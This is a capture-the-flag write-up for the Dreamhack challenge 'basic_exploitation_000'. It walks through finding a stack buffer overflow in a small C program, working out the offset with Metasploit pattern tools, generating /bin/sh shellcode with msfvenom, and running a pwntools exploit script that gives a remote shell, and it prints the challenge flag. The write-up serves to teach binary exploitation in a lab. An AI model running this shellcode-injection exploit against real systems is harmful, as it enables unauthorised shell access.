basic_exploitation_000
Enumeration
System information is as follows.
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Source code reveals a simple program which reads from the standard input.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_000]
└─$ cat basic_exploitation_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
Exploitation
As the source code does not contain any checks for the user input, we’ll be able to cause a buffer overflow. To find the input length required to overwrite RET, I’ll create a payload using msf-pattern_create
.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_000]
└─$ msf-pattern_create -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
By inputting the payload via gdb
, I’m able to cause an overflow which results in an error with the address 0x41346541
.
gdb-peda$ r
Starting program: /home/m0nk3y/DH/basic_exploitation_000/basic_exploitation_000
buf = (0xffffd068)
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x0
EDX: 0x8d
ESI: 0x1
EDI: 0x8048480 (<_start>: xor ebp,ebp)
EBP: 0x33654132 ('2Ae3')
ESP: 0xffffd0f0 ("e5Ae6")
EIP: 0x41346541 ('Ae4A')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41346541
[------------------------------------stack-------------------------------------]
0000| 0xffffd0f0 ("e5Ae6")
0004| 0xffffd0f4 --> 0xffff0036 --> 0x0
0008| 0xffffd0f8 --> 0xffffd19c --> 0xffffd378 ("SHELL=/bin/bash")
0012| 0xffffd0fc --> 0xffffd124 --> 0x0
0016| 0xffffd100 --> 0xffffd134 --> 0x93482bcf
0020| 0xffffd104 --> 0xf7ffdb98 --> 0xf7ffdb30 --> 0xf7fc33f0 --> 0xf7ffd9d0 --> 0x0
0024| 0xffffd108 --> 0xf7fc3420 --> 0x804830f ("GLIBC_2.0")
0028| 0xffffd10c --> 0xf7fa7000 --> 0x1ead6c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41346541 in ?? ()
msf-pattern_offset
shows that the offset is 132
.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_000]
└─$ msf-pattern_offset -l 150 -q 0x41346541
[*] Exact match at offset 132
To gain a shell, I’ll create a shell payload using msfvenom
.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_000]
└─$ msfvenom -p linux/x86/exec CMD='/bin/sh' -b '\x09\x0a\x0b\x0c\x0d\x20' > shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai failed with Failed to locate a valid permutation.
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=1, char=0x0b)
Attempting to encode payload with 1 iterations of x86/call4_dword_xor
x86/call4_dword_xor succeeded with size 68 (iteration=0)
x86/call4_dword_xor chosen with final size 68
Payload size: 68 bytes
Finally, using all these information, I’ll write an exploit which would cause a buffer overflow and overwrite RET with the shellcode given.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_000]
└─$ cat exploit.py
import sys
from pwn import *
client= remote(sys.argv[1], int(sys.argv[2]))
shellcode= sys.argv[3]
pad= "\x90"*(132-len(shellcode))
eip= p32(int(client.recv()[7:-2], 16))
client.sendline(shellcode+pad+eip)
client.interactive()
By running the exploit, I’m able to gain a shell as the user basic_exploitation_000
.
┌──(m0nk3y@kali)-[~/DH/basic_exploitation_000]
└─$ python2 exploit.py host1.dreamhack.games 22361 $(cat shellcode)
[+] Opening connection to host1.dreamhack.games on port 22361: Done
[*] Switching to interactive mode
$ id
uid=1000(basic_exploitation_000) gid=1000(basic_exploitation_000) groups=1000(basic_exploitation_000)
Post Exploitation
With the shell acquired, I’m able to read the flag.
$ cat flag
DH{465dd453b2a25a26a847a93d3695676d}